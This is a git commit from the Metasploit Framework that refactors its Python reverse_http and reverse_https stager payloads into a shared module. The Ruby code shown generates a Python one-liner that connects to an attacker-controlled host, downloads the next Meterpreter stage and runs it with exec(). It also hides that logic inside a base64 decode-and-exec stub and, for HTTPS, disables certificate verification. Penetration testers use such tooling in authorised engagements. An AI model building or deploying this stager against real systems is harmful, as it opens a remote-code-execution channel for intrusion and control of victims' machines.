Further reduce python reverse_http duplicate code

bug/bundler_fix
Spencer McIntyre 2015-11-26 13:59:44 -05:00
parent bd25ffa48c
commit 1b495e73ac
4 changed files with 87 additions and 103 deletions

View File

@ -5,7 +5,9 @@ module Msf::Payload::Python
# #
# Encode the given python command in base64 and wrap it with a stub # Encode the given python command in base64 and wrap it with a stub
# that will decode and execute it on the fly. # that will decode and execute it on the fly. The code will be condensed to
# one line and compatible with all Python versions supported by the Python
# Meterpreter stage.
# #
# @param cmd [String] The python code to execute. # @param cmd [String] The python code to execute.
# @return [String] Full python stub to execute the command. # @return [String] Full python stub to execute the command.

View File

@ -10,7 +10,42 @@ module Payload::Python::ReverseHttp
include Msf::Payload::UUID::Options include Msf::Payload::UUID::Options
# #
# Return the longest URL that fits into our available space # Generate the first stage
#
def generate(opts={})
opts.merge!({
host: datastore['LHOST'] || '127.127.127.127',
port: datastore['LPORT'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
user_agent: datastore['MeterpreterUserAgent']
})
opts[:scheme] = 'http' if opts[:scheme].nil?
generate_reverse_http(opts)
end
#
# Return the callback URL
#
def generate_callback_url(opts)
# required opts:
# host, port, scheme
if Rex::Socket.is_ipv6?(opts[:host])
target_url = "#{opts[:scheme]}://[#{opts[:host]}]"
else
target_url = "#{opts[:scheme]}://#{opts[:host]}"
end
target_url << ':'
target_url << opts[:port].to_s
target_url << '/'
target_url << generate_callback_uri
target_url
end
#
# Return the longest URI that fits into our available space
# #
def generate_callback_uri def generate_callback_uri
uri_req_len = 30 + rand(256-30) uri_req_len = 30 + rand(256-30)
@ -23,6 +58,49 @@ module Payload::Python::ReverseHttp
generate_uri_uuid_mode(:init_python, uri_req_len) generate_uri_uuid_mode(:init_python, uri_req_len)
end end
def generate_reverse_http(opts={})
# required opts:
# proxy_host, proxy_port, scheme, user_agent
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
proxy_host = opts[:proxy_host]
proxy_port = opts[:proxy_port]
urllib_fromlist = ['\'build_opener\'']
urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != ''
urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https'
urllib_fromlist = '[' + urllib_fromlist.join(',') + ']'
cmd = "import sys\n"
cmd << "vi=sys.version_info\n"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
cmd << "hs=[]\n"
if opts[:scheme] == 'https'
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
cmd << "\timport ssl\n"
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
cmd << "\tsc.check_hostname=False\n"
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
end
if proxy_host.to_s != ''
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o=ul.build_opener(*hs)\n"
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
py_create_exec_stub(cmd)
end
# #
# Determine the maximum amount of space required for the features requested # Determine the maximum amount of space required for the features requested
# #

View File

@ -5,6 +5,7 @@
require 'msf/core' require 'msf/core'
require 'msf/core/handler/reverse_http' require 'msf/core/handler/reverse_http'
require 'msf/core/payload/python'
require 'msf/core/payload/python/reverse_http' require 'msf/core/payload/python/reverse_http'
module Metasploit4 module Metasploit4
@ -12,6 +13,7 @@ module Metasploit4
CachedSize = 466 CachedSize = 466
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Python
include Msf::Payload::Python::ReverseHttp include Msf::Payload::Python::ReverseHttp
def initialize(info = {}) def initialize(info = {})
@ -33,51 +35,4 @@ module Metasploit4
], self.class) ], self.class)
end end
#
# Constructs the payload
#
def generate
lhost = datastore['LHOST'] || '127.127.127.127'
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
if Rex::Socket.is_ipv6?(lhost)
target_url = "http://[#{lhost}]"
else
target_url = "http://#{lhost}"
end
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << '/'
target_url << generate_callback_uri
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
cmd = "import sys\n"
if proxy_host == ''
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
else
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end
end end

View File

@ -5,6 +5,7 @@
require 'msf/core' require 'msf/core'
require 'msf/core/handler/reverse_https' require 'msf/core/handler/reverse_https'
require 'msf/core/payload/python'
require 'msf/core/payload/python/reverse_http' require 'msf/core/payload/python/reverse_http'
module Metasploit4 module Metasploit4
@ -12,6 +13,7 @@ module Metasploit4
CachedSize = 762 CachedSize = 762
include Msf::Payload::Stager include Msf::Payload::Stager
include Msf::Payload::Python
include Msf::Payload::Python::ReverseHttp include Msf::Payload::Python::ReverseHttp
def initialize(info = {}) def initialize(info = {})
@ -37,60 +39,7 @@ module Metasploit4
# Constructs the payload # Constructs the payload
# #
def generate def generate
lhost = datastore['LHOST'] || '127.127.127.127' super({scheme: 'https'})
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
if Rex::Socket.is_ipv6?(lhost)
target_url = "https://[#{lhost}]"
else
target_url = "https://#{lhost}"
end
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << generate_callback_uri
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
if proxy_host == ''
urllib_fromlist = "['HTTPSHandler','build_opener']"
else
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
end
cmd = "import sys\n"
cmd << "vi=sys.version_info\n"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
cmd << "hs=[]\n"
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
cmd << "\timport ssl\n"
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
cmd << "\tsc.check_hostname=False\n"
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
if proxy_host != ''
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o=ul.build_opener(*hs)\n"
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end end
end end